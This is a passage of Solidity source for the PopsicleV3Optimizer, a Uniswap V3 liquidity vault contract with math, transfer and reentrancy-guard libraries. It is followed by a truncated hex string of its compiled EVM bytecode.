function add160(uint160 x, uint160 y) internal pure returns (uint160 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub160(uint160 x, uint160 y) internal pure returns (uint160 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul160(uint160 x, uint160 y) internal pure returns (uint160 z) {
require(x == 0 || (z = x * y) / x == y);
}
}
/// @title Functions based on Q64.96 sqrt price and liquidity
/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas
library SqrtPriceMath {
using LowGasSafeMath for uint256;
using SafeCast for uint256;
/// @notice Gets the next sqrt price given a delta of token0
/// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the
/// price less in order to not send too much output.
/// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),
/// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).
/// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token0 to add or remove from virtual reserves
/// @param add Whether to add or remove the amount of token0
/// @return The price after adding or removing amount, depending on add
function getNextSqrtPriceFromAmount0RoundingUp(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price
if (amount == 0) return sqrtPX96;
uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;
if (add) {
uint256 product;
if ((product = amount * sqrtPX96) / amount == sqrtPX96) {
uint256 denominator = numerator1 + product;
if (denominator >= numerator1)
// always fits in 160 bits
return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));
}
return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));
} else {
uint256 product;
// if the product overflows, we know the denominator underflows
// in addition, we must check that the denominator does not underflow
require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);
uint256 denominator = numerator1 - product;
return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();
}
}
/// @notice Gets the next sqrt price given a delta of token1
/// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least
/// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the
/// price less in order to not send too much output.
/// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity
/// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta
/// @param liquidity The amount of usable liquidity
/// @param amount How much of token1 to add, or remove, from virtual reserves
/// @param add Whether to add, or remove, the amount of token1
/// @return The price after adding or removing `amount`
function getNextSqrtPriceFromAmount1RoundingDown(
uint160 sqrtPX96,
uint128 liquidity,
uint256 amount,
bool add
) internal pure returns (uint160) {
// if we're adding (subtracting), rounding down requires rounding the quotient down (up)
// in both cases, avoid a mulDiv for most inputs
if (add) {
uint256 quotient =
(
amount <= type(uint160).max
? (amount << FixedPoint96.RESOLUTION) / liquidity
: FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)
);
return uint256(sqrtPX96).add(quotient).toUint160();
} else {
uint256 quotient =
(
amount <= type(uint160).max
? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)
: FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)
);
require(sqrtPX96 > quotient);
// always fits 160 bits
return uint160(sqrtPX96 - quotient);
}
}
}
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "RC");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/// @title Interface for WETH9
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
}
/// @title PopsicleV3 Optimizer is a yield enchancement v3 contract
/// @dev PopsicleV3 Optimizer is a Uniswap V3 yield enchancement contract which acts as
/// intermediary between the user who wants to provide liquidity to specific pools
/// and earn fees from such actions. The contract ensures that user position is in
/// range and earns maximum amount of fees available at current liquidity utilization
/// rate.
contract PopsicleV3Optimizer is ERC20Permit, ReentrancyGuard, IPopsicleV3Optimizer {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint160;
using LowGasSafeMath for uint128;
using UnsafeMath for uint256;
using SafeCast for uint256;
using PoolVariables for IUniswapV3Pool;
using PoolActions for IUniswapV3Pool;
//Any data passed through by the caller via the IUniswapV3PoolActions#mint call
struct MintCallbackData {
address payer;
}
//Any data passed through by the caller via the IUniswapV3PoolActions#swap call
struct SwapCallbackData {
bool zeroForOne;
}
/// @notice Emitted when user adds liquidity
/// @param sender The address that minted the liquidity
/// @param share The amount of share of liquidity added by the user to position
/// @param amount0 How much token0 was required for the added liquidity
/// @param amount1 How much token1 was required for the added liquidity
event Deposit(
address indexed sender,
uint256 share,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when user withdraws liquidity
/// @param sender The address that minted the liquidity
/// @param shares of liquidity withdrawn by the user from the position
/// @param amount0 How much token0 was required for the added liquidity
/// @param amount1 How much token1 was required for the added liquidity
event Withdraw(
address indexed sender,
uint256 shares,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees was collected from the pool
/// @param feesFromPool0 Total amount of fees collected in terms of token 0
/// @param feesFromPool1 Total amount of fees collected in terms of token 1
/// @param usersFees0 Total amount of fees collected by users in terms of token 0
/// @param usersFees1 Total amount of fees collected by users in terms of token 1
event CollectFees(
uint256 feesFromPool0,
uint256 feesFromPool1,
uint256 usersFees0,
uint256 usersFees1
);
/// @notice Emitted when fees was compuonded to the pool
/// @param amount0 Total amount of fees compounded in terms of token 0
/// @param amount1 Total amount of fees compounded in terms of token 1
event CompoundFees(
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when PopsicleV3 Optimizer changes the position in the pool
/// @param tickLower Lower price tick of the positon
/// @param tickUpper Upper price tick of the position
/// @param amount0 Amount of token 0 deposited to the position
/// @param amount1 Amount of token 1 deposited to the position
event Rerange(
int24 tickLower,
int24 tickUpper,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when user collects his fee share
/// @param sender User address
/// @param fees0 Exact amount of fees claimed by the users in terms of token 0
/// @param fees1 Exact amount of fees claimed by the users in terms of token 1
event RewardPaid(
address indexed sender,
uint256 fees0,
uint256 fees1
);
/// @notice Shows current Optimizer's balances
/// @param totalAmount0 Current token0 Optimizer's balance
/// @param totalAmount1 Current token1 Optimizer's balance
event Snapshot(uint256 totalAmount0, uint256 totalAmount1);
event TransferGovernance(address indexed previousGovernance, address indexed newGovernance);
/// @notice Prevents calls from users
modifier onlyGovernance {
require(msg.sender == governance, "OG");
_;
}
/// @inheritdoc IPopsicleV3Optimizer
address public immutable override token0;
/// @inheritdoc IPopsicleV3Optimizer
address public immutable override token1;
// WETH address
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// @inheritdoc IPopsicleV3Optimizer
int24 public immutable override tickSpacing;
uint constant MULTIPLIER = 1e6;
uint24 constant GLOBAL_DIVISIONER = 1e6; // for basis point (0.0001%)
//The protocol's fee in hundredths of a bip, i.e. 1e-6
uint24 constant protocolFee = 1e5;
mapping (address => bool) private _operatorApproved;
// @inheritdoc IPopsicleV3Optimizer
IUniswapV3Pool public override pool;
// Accrued protocol fees in terms of token0
uint256 public protocolFees0;
// Accrued protocol fees in terms of token1
uint256 public protocolFees1;
// Total lifetime accrued fees in terms of token0
uint256 public totalFees0;
// Total lifetime accrued fees in terms of token1
uint256 public totalFees1;
// Address of the Optimizer's owner
address public governance;
// Pending to claim ownership address
address public pendingGovernance;
//PopsicleV3 Optimizer settings address
address public strategy;
// Current tick lower of Optimizer pool position
int24 public override tickLower;
// Current tick higher of Optimizer pool position
int24 public override tickUpper;
// Checks if Optimizer is initialized
bool public initialized;
bool private _paused = false;
/**
* @dev After deploying, strategy can be set via `setStrategy()`
* @param _pool Underlying Uniswap V3 pool with fee = 3000
* @param _strategy Underlying Optimizer Strategy for Optimizer settings
*/
constructor(
address _pool,
address _strategy
) ERC20("Popsicle LP V3 DYDX/WETH", "PLP") ERC20Permit("Popsicle LP V3 DYDX/WETH") {
pool = IUniswapV3Pool(_pool);
strategy = _strategy;
token0 = pool.token0();
token1 = pool.token1();
tickSpacing = pool.tickSpacing();
governance = msg.sender;
_operatorApproved[msg.sender] = true;
}
//initialize strategy
function init() external onlyGovernance {
require(!initialized, "F");
initialized = true;
int24 baseThreshold = tickSpacing * IOptimizerStrategy(strategy).tickRangeMultiplier();
( , int24 currentTick, , , , , ) = pool.slot0();
int24 tickFloor = PoolVariables.floor(currentTick, tickSpacing);
tickLower = tickFloor - baseThreshold;
tickUpper = tickFloor + baseThreshold;
PoolVariables.checkRange(tickLower, tickUpper); //check ticks also for overflow/underflow
}
/// @inheritdoc IPopsicleV3Optimizer
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address to
)
external
override
nonReentrant
checkDeviation
whenNotPaused
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
require(amount0Desired > 0 && amount1Desired > 0, "ANV");
_earnFees();
_compoundFees(); // prevent user drains others
uint128 liquidityLast = pool.positionLiquidity(tickLower, tickUpper);
// compute the liquidity amount
uint128 liquidity = pool.liquidityForAmounts(amount0Desired, amount1Desired, tickLower, tickUpper);
(amount0, amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(MintCallbackData({payer: msg.sender})));
shares = _calcShare(liquidity*MULTIPLIER, liquidityLast*MULTIPLIER);
_mint(to, shares);
require(IOptimizerStrategy(strategy).maxTotalSupply() >= totalSupply(), "MTS");
emit Deposit(msg.sender, shares, amount0, amount1);
}
/// @inheritdoc IPopsicleV3Optimizer
function withdraw(
uint256 shares,
address to
)
external
override
nonReentrant
checkDeviation
whenNotPaused
returns (
uint256 amount0,
uint256 amount1
)
{
require(shares > 0, "S");
require(to != address(0), "WZA");
_earnFees();
_compoundFees();
(amount0, amount1) = pool.burnLiquidityShare(tickLower, tickUpper, totalSupply(), shares, to);
require(amount0 > 0 || amount1 > 0, "EA");
// Burn shares
_burn(msg.sender, shares);
emit Withdraw(msg.sender, shares, amount0, amount1);
}
/// @inheritdoc IPopsicleV3Optimizer
function rerange() external override nonReentrant checkDeviation {
require(_operatorApproved[msg.sender], "ONA");
_earnFees();
//Burn all liquidity from pool to rerange for Optimizer's balances.
pool.burnAllLiquidity(tickLower, tickUpper);
// Emit snapshot to record balances
uint256 balance0 = _balance0();
uint256 balance1 = _balance1();
emit Snapshot(balance0, balance1);
int24 baseThreshold = tickSpacing * IOptimizerStrategy(strategy).tickRangeMultiplier();
//Get exact ticks depending on Optimizer's balances
(tickLower, tickUpper) = pool.getPositionTicks(balance0, balance1, baseThreshold, tickSpacing);
//Get Liquidity for Optimizer's balances
uint128 liquidity = pool.liquidityForAmounts(balance0, balance1, tickLower, tickUpper);
// Add liquidity to the pool
(uint256 amount0, uint256 amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(MintCallbackData({payer: address(this)})));
emit Rerange(tickLower, tickUpper, amount0, amount1);
}
/// @inheritdoc IPopsicleV3Optimizer
function rebalance() external override nonReentrant checkDeviation {
require(_operatorApproved[msg.sender], "ONA");
_earnFees();
//Burn all liquidity from pool to rerange for Optimizer's balances.
pool.burnAllLiquidity(tickLower, tickUpper);
//Calc base ticks
(uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0();
PoolVariables.Info memory cache;
int24 baseThreshold = tickSpacing * IOptimizerStrategy(strategy).tickRangeMultiplier();
(cache.tickLower, cache.tickUpper) = PoolVariables.baseTicks(currentTick, baseThreshold, tickSpacing);
cache.amount0Desired = _balance0();
cache.amount1Desired = _balance1();
emit Snapshot(cache.amount0Desired, cache.amount1Desired);
// Calc liquidity for base ticks
cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper);
// Get exact amounts for base ticks
(cache.amount0, cache.amount1) = pool.amountsForLiquidity(cache.liquidity, cache.tickLower, cache.tickUpper);
// Get imbalanced token
bool zeroForOne = PoolVariables.amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1);
// Calculate the amount of imbalanced token that should be swapped. Calculations strive to achieve one to one ratio
int256 amountSpecified =
zeroForOne
? int256(cache.amount0Desired.sub(cache.amount0).unsafeDiv(2))
: int256(cache.amount1Desired.sub(cache.amount1).unsafeDiv(2)); // always positive. "overflow" safe convertion cuz we are dividing by 2
// Calculate Price limit depending on price impact
uint160 exactSqrtPriceImpact = sqrtPriceX96.mul160(IOptimizerStrategy(strategy).priceImpactPercentage() / 2) / GLOBAL_DIVISIONER;
uint160 sqrtPriceLimitX96 = zeroForOne ? sqrtPriceX96.sub160(exactSqrtPriceImpact) : sqrtPriceX96.add160(exactSqrtPriceImpact);
//Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit
pool.swap(
address(this),
zeroForOne,
amountSpecified,
sqrtPriceLimitX96,
abi.encode(SwapCallbackData({zeroForOne: zeroForOne}))
);
(sqrtPriceX96, currentTick, , , , , ) = pool.slot0();
// Emit snapshot to record balances
cache.amount0Desired = _balance0();
cache.amount1Desired = _balance1();
emit Snapshot(cache.amount0Desired, cache.amount1Desired);
//Get exact ticks depending on Optimizer's new balances
(tickLower, tickUpper) = pool.getPositionTicks(cache.amount0Desired, cache.amount1Desired, baseThreshold, tickSpacing);
cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, tickLower, tickUpper);
// Add liquidity to the pool
(cache.amount0, cache.amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
cache.liquidity,
abi.encode(MintCallbackData({payer: address(this)})));
emit Rerange(tickLower, tickUpper, cache.amount0, cache.amount1);
}
// Calcs user share depending on deposited amounts
function _calcShare(uint256 liquidity, uint256 liquidityLast)
internal
view
returns (
uint256 shares
)
{
shares = totalSupply() == 0 ? liquidity : liquidity.mul(totalSupply()).unsafeDiv(liquidityLast);
}
/// @dev Amount of token0 held as unused balance.
function _balance0() internal view returns (uint256) {
return IERC20(token0).balanceOf(address(this)).sub(protocolFees0);
}
/// @dev Amount of token1 held as unused balance.
function _balance1() internal view returns (uint256) {
return IERC20(token1).balanceOf(address(this)).sub(protocolFees1);
}
/// @dev collects fees from the pool
function _earnFees() internal {
uint liquidity = pool.positionLiquidity(tickLower, tickUpper);
if (liquidity == 0) return; // we can't poke when liquidity is zero
// Do zero-burns to poke the Uniswap pools so earned fees are updated
pool.burn(tickLower, tickUpper, 0);
(uint256 collect0, uint256 collect1) =
pool.collect(
address(this),
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
// Calculate protocol's fees
uint256 earnedProtocolFees0 = collect0.mul(protocolFee).unsafeDiv(GLOBAL_DIVISIONER);
uint256 earnedProtocolFees1 = collect1.mul(protocolFee).unsafeDiv(GLOBAL_DIVISIONER);
protocolFees0 = protocolFees0.add(earnedProtocolFees0);
protocolFees1 = protocolFees1.add(earnedProtocolFees1);
totalFees0 = totalFees0.add(collect0);
totalFees1 = totalFees1.add(collect1);
emit CollectFees(collect0, collect1, totalFees0, totalFees1);
}
function _compoundFees() internal returns (uint256 amount0, uint256 amount1){
uint256 balance0 = _balance0();
uint256 balance1 = _balance1();
emit Snapshot(balance0, balance1);
//Get Liquidity for Optimizer's balances
uint128 liquidity = pool.liquidityForAmounts(balance0, balance1, tickLower, tickUpper);
// Add liquidity to the pool
if (liquidity > 0)
{
(amount0, amount1) = pool.mint(
address(this),
tickLower,
tickUpper,
liquidity,
abi.encode(MintCallbackData({payer: address(this)})));
emit CompoundFees(amount0, amount1);
}
}
/// @notice Returns current Optimizer's position in pool
function position() external view returns (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1) {
bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper);
(liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1) = pool.positions(positionKey);
}
/// @notice Returns current Optimizer's users amounts in pool
function usersAmounts() external view returns (uint256 amount0, uint256 amount1) {
(amount0, amount1) = pool.usersAmounts(tickLower, tickUpper);
}
/// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay to the pool for the minted liquidity.
/// @param amount0 The amount of token0 due to the pool for the minted liquidity
/// @param amount1 The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
require(msg.sender == address(pool), "FP");
MintCallbackData memory decoded = abi.decode(data, (MintCallbackData));
if (amount0 > 0) pay(token0, decoded.payer, msg.sender, amount0);
if (amount1 > 0) pay(token1, decoded.payer, msg.sender, amount1);
}
/// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap.
/// @dev In the implementation you must pay to the pool for swap.
/// @param amount0 The amount of token0 due to the pool for the swap
/// @param amount1 The amount of token1 due to the pool for the swap
/// @param _data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0,
int256 amount1,
bytes calldata _data
) external {
require(msg.sender == address(pool), "FP");
require(amount0 > 0 || amount1 > 0, "LEZ"); // swaps entirely within 0-liquidity regions are not supported
SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData));
bool zeroForOne = data.zeroForOne;
if (zeroForOne) pay(token0, address(this), msg.sender, uint256(amount0));
else pay(token1, address(this), msg.sender, uint256(amount1));
}
/// @param token The token to pay
/// @param payer The entity that must pay
/// @param recipient The entity that will receive payment
/// @param value The amount to pay
function pay(
address token,
address payer,
address recipient,
uint256 value
) internal {
if (token == weth && address(this).balance >= value) {
// pay with WETH9
IWETH9(weth).deposit{value: value}(); // wrap only what is needed to pay
IWETH9(weth).transfer(recipient, value);
} else if (payer == address(this)) {
// pay with tokens already in the contract (for the exact input multihop case)
TransferHelper.safeTransfer(token, recipient, value);
} else {
// pull payment
TransferHelper.safeTransferFrom(token, payer, recipient, value);
}
}
/**
* @notice Used to withdraw accumulated protocol fees.
*/
function collectProtocolFees(
uint256 amount0,
uint256 amount1
) external nonReentrant onlyGovernance {
_earnFees();
require(protocolFees0 >= amount0, "A0F");
require(protocolFees1 >= amount1, "A1F");
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
require(balance0 >= amount0 && balance1 >= amount1);
if (amount0 > 0) pay(token0, address(this), msg.sender, amount0);
if (amount1 > 0) pay(token1, address(this), msg.sender, amount1);
protocolFees0 = protocolFees0.sub(amount0);
protocolFees1 = protocolFees1.sub(amount1);
_compoundFees();
emit RewardPaid(msg.sender, amount0, amount1);
}
// Function modifier that checks if price has not moved a lot recently.
// This mitigates price manipulation during rebalance and also prevents placing orders
// when it's too volatile.
modifier checkDeviation() {
pool.checkDeviation(IOptimizerStrategy(strategy).maxTwapDeviation(), IOptimizerStrategy(strategy).twapDuration());
_;
}
/**
* @notice `setGovernance()` should be called by the existing governance
* address prior to calling this function.
*/
function setGovernance(address _governance) external onlyGovernance {
pendingGovernance = _governance;
}
/**
* @notice Governance address is not updated until the new governance
* address has called `acceptGovernance()` to accept this responsibility.
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "PG");
emit TransferGovernance(governance, pendingGovernance);
pendingGovernance = address(0);
governance = msg.sender;
}
// Sets new strategy contract address for new settings
function setStrategy(address _strategy) external onlyGovernance {
require(_strategy != address(0), "NA");
strategy = _strategy;
}
function approveOperator(address _operator) external onlyGovernance {
_operatorApproved[_operator] = true;
}
function disableOperator(address _operator) external onlyGovernance {
_operatorApproved[_operator] = false;
}
function isOperator(address _operator) external view returns (bool) {
return _operatorApproved[_operator];
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "P");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "NP");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function pause() external onlyGovernance whenNotPaused {
_paused = true;
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function unpause() external onlyGovernance whenPaused {
_paused = false;
}
} | 0x608060405234801561001057600080fd5b50600436106102945760003560e01c80636d70f7ae11610167578063d0c93a7c116100ce578063e1c7392a11610087578063e1c7392a14610523578063eb3221b41461052b578063ef095f8d14610533578063f39c38a01461053b578063f56408ed14610543578063fa461e331461055657610294565b8063d0c93a7c146104d2578063d21220a7146104da578063d3487997146104e2578063d505accf146104f5578063da48672114610508578063dd62ed3e1461051057610294565b80638dbdbe6d116101205780638dbdbe6d1461046757806395d89b4114610489578063a457c2d714610491578063a8c62e76146104a4578063a9059cbb146104ac578063ab033ea9146104bf57610294565b80636d70f7ae1461041657806370a08231146104295780637d7c2a1c1461043c5780637ecebe001461044457806380814ffb146104575780638456cb591461045f57610294565b8063242cae9f1161020b5780633fc8cef3116101c45780633fc8cef3146103d957806347d792c5146103e157806355b812a8146103e957806359c4f905146103fe5780635aa6e675146104065780636a2a507b1461040e57610294565b8063242cae9f1461037b578063313ce5671461038e57806333a100ca146103a35780633644e515146103b657806339509351146103be5780633f4ba83a146103d157610294565b806314c04c4f1161025d57806314c04c4f14610326578063158ef93e1461033b57806316f0115b1461034357806318160ddd1461034b578063238efcbc1461036057806323b872dd1461036857610294565b8062f714ce1461029957806306fdde03146102c357806309218e91146102d8578063095ea7b3146102f15780630dfe168114610311575b600080fd5b6102ac6102a73660046151d4565b610569565b6040516102ba9291906159bb565b60405180910390f35b6102cb6107fd565b6040516102ba9190615556565b6102e0610894565b6040516102ba959493929190615989565b6103046102ff366004614e65565b610959565b6040516102ba919061546d565b610319610977565b6040516102ba919061530d565b6103396103343660046151f8565b61099b565b005b610304610c6f565b610319610c7f565b610353610c8e565b6040516102ba9190615478565b610339610c94565b610304610376366004614db5565b610d1d565b610339610389366004614d61565b610db6565b610396610e04565b6040516102ba91906159fa565b6103396103b1366004614d61565b610e0d565b610353610e7f565b6103046103cc366004614e65565b610e8e565b610339610edc565b610319610f3e565b610353610f56565b6103f1610f5c565b6040516102ba91906154ff565b6103f1610f6c565b610319610f7c565b610353610f8b565b610304610424366004614d61565b610f91565b610353610437366004614d61565b610fb3565b610339610fce565b610353610452366004614d61565b6117bc565b6103536117dd565b6103396117e3565b61047a610475366004615219565b61184c565b6040516102ba939291906159c9565b6102cb611b9a565b61030461049f366004614e65565b611bfb565b610319611c66565b6103046104ba366004614e65565b611c75565b6103396104cd366004614d61565b611c89565b6103f1611cd5565b610319611cf9565b6103396104f0366004614fb1565b611d1d565b610339610503366004614df5565b611dca565b6102ac611eac565b61035361051e366004614d7d565b611eeb565b610339611f16565b61033961213b565b6103536124ba565b6103196124c0565b610339610551366004614d61565b6124cf565b610339610564366004614fb1565b61251a565b600080600260075414156105985760405162461bcd60e51b815260040161058f90615931565b60405180910390fd5b60026007556010546040805163e7c7cb9160e01b815290516106b4926001600160a01b03169163e7c7cb91916004808301926020929190829003018186803b1580156105e357600080fd5b505afa1580156105f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061b9190614f74565b601060009054906101000a90046001600160a01b03166001600160a01b03166326d895456040518163ffffffff1660e01b815260040160206040518083038186803b15801561066957600080fd5b505afa15801561067d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a19190615251565b6009546001600160a01b031691906125f1565b601054600160d81b900460ff16156106de5760405162461bcd60e51b815260040161058f906156df565b600084116106fe5760405162461bcd60e51b815260040161058f90615818565b6001600160a01b0383166107245760405162461bcd60e51b815260040161058f90615586565b61072c6126bd565b610734612918565b505060105461077190600160a01b8104600290810b91600160b81b9004900b61075b610c8e565b6009546001600160a01b03169291908888612ab6565b9092509050811515806107845750600081115b6107a05760405162461bcd60e51b815260040161058f906158a3565b6107aa3385612c6b565b336001600160a01b03167f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca948584846040516107e7939291906159c9565b60405180910390a2600160075590939092509050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108895780601f1061085e57610100808354040283529160200191610889565b820191906000526020600020905b81548152906001019060200180831161086c57829003601f168201915b505050505090505b90565b6000806000806000806108c630601060149054906101000a900460020b601060179054906101000a900460020b612d50565b60095460405163514ea4bf60e01b81529192506001600160a01b03169063514ea4bf906108f7908490600401615478565b60a06040518083038186803b15801561090f57600080fd5b505afa158015610923573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094791906150b5565b939a9299509097509550909350915050565b600061096d610966612d86565b8484612d8a565b5060015b92915050565b7f00000000000000000000000092d6c1e31e14520e676a687f0a93788b716beff581565b600260075414156109be5760405162461bcd60e51b815260040161058f90615931565b6002600755600e546001600160a01b031633146109ed5760405162461bcd60e51b815260040161058f906158f7565b6109f56126bd565b81600a541015610a175760405162461bcd60e51b815260040161058f9061594d565b80600b541015610a395760405162461bcd60e51b815260040161058f906156c2565b6040516370a0823160e01b81526000906001600160a01b037f00000000000000000000000092d6c1e31e14520e676a687f0a93788b716beff516906370a0823190610a8890309060040161530d565b60206040518083038186803b158015610aa057600080fd5b505afa158015610ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad891906151bc565b905060007f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401610b28919061530d565b60206040518083038186803b158015610b4057600080fd5b505afa158015610b54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7891906151bc565b9050838210158015610b8a5750828110155b610b9357600080fd5b8315610bc557610bc57f00000000000000000000000092d6c1e31e14520e676a687f0a93788b716beff5303387612e3e565b8215610bf757610bf77f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2303386612e3e565b600a54610c049085612f9b565b600a55600b54610c149084612f9b565b600b55610c1f612918565b5050336001600160a01b03167fd6f2c8500df5b44f11e9e48b91ff9f1b9d81bc496d55570c2b1b75bf65243f518585604051610c5c9291906159bb565b60405180910390a2505060016007555050565b601054600160d01b900460ff1681565b6009546001600160a01b031681565b60025490565b600f546001600160a01b03163314610cbe5760405162461bcd60e51b815260040161058f9061564f565b600f54600e546040516001600160a01b0392831692909116907f2276211a3f2c7bc1943fe83cc63f8f970204ff6a4b83c690df2bc54d8f2792ad90600090a3600f80546001600160a01b0319908116909155600e805490911633179055565b6000610d2a848484612fab565b610dab84610d36612d86565b610da6856040518060400160405280600381526020016254454160e81b815250600160008b6001600160a01b03166001600160a01b031681526020019081526020016000206000610d85612d86565b6001600160a01b0316815260208101919091526040016000205491906130c3565b612d8a565b5060015b9392505050565b600e546001600160a01b03163314610de05760405162461bcd60e51b815260040161058f906158f7565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60055460ff1690565b600e546001600160a01b03163314610e375760405162461bcd60e51b81526004016105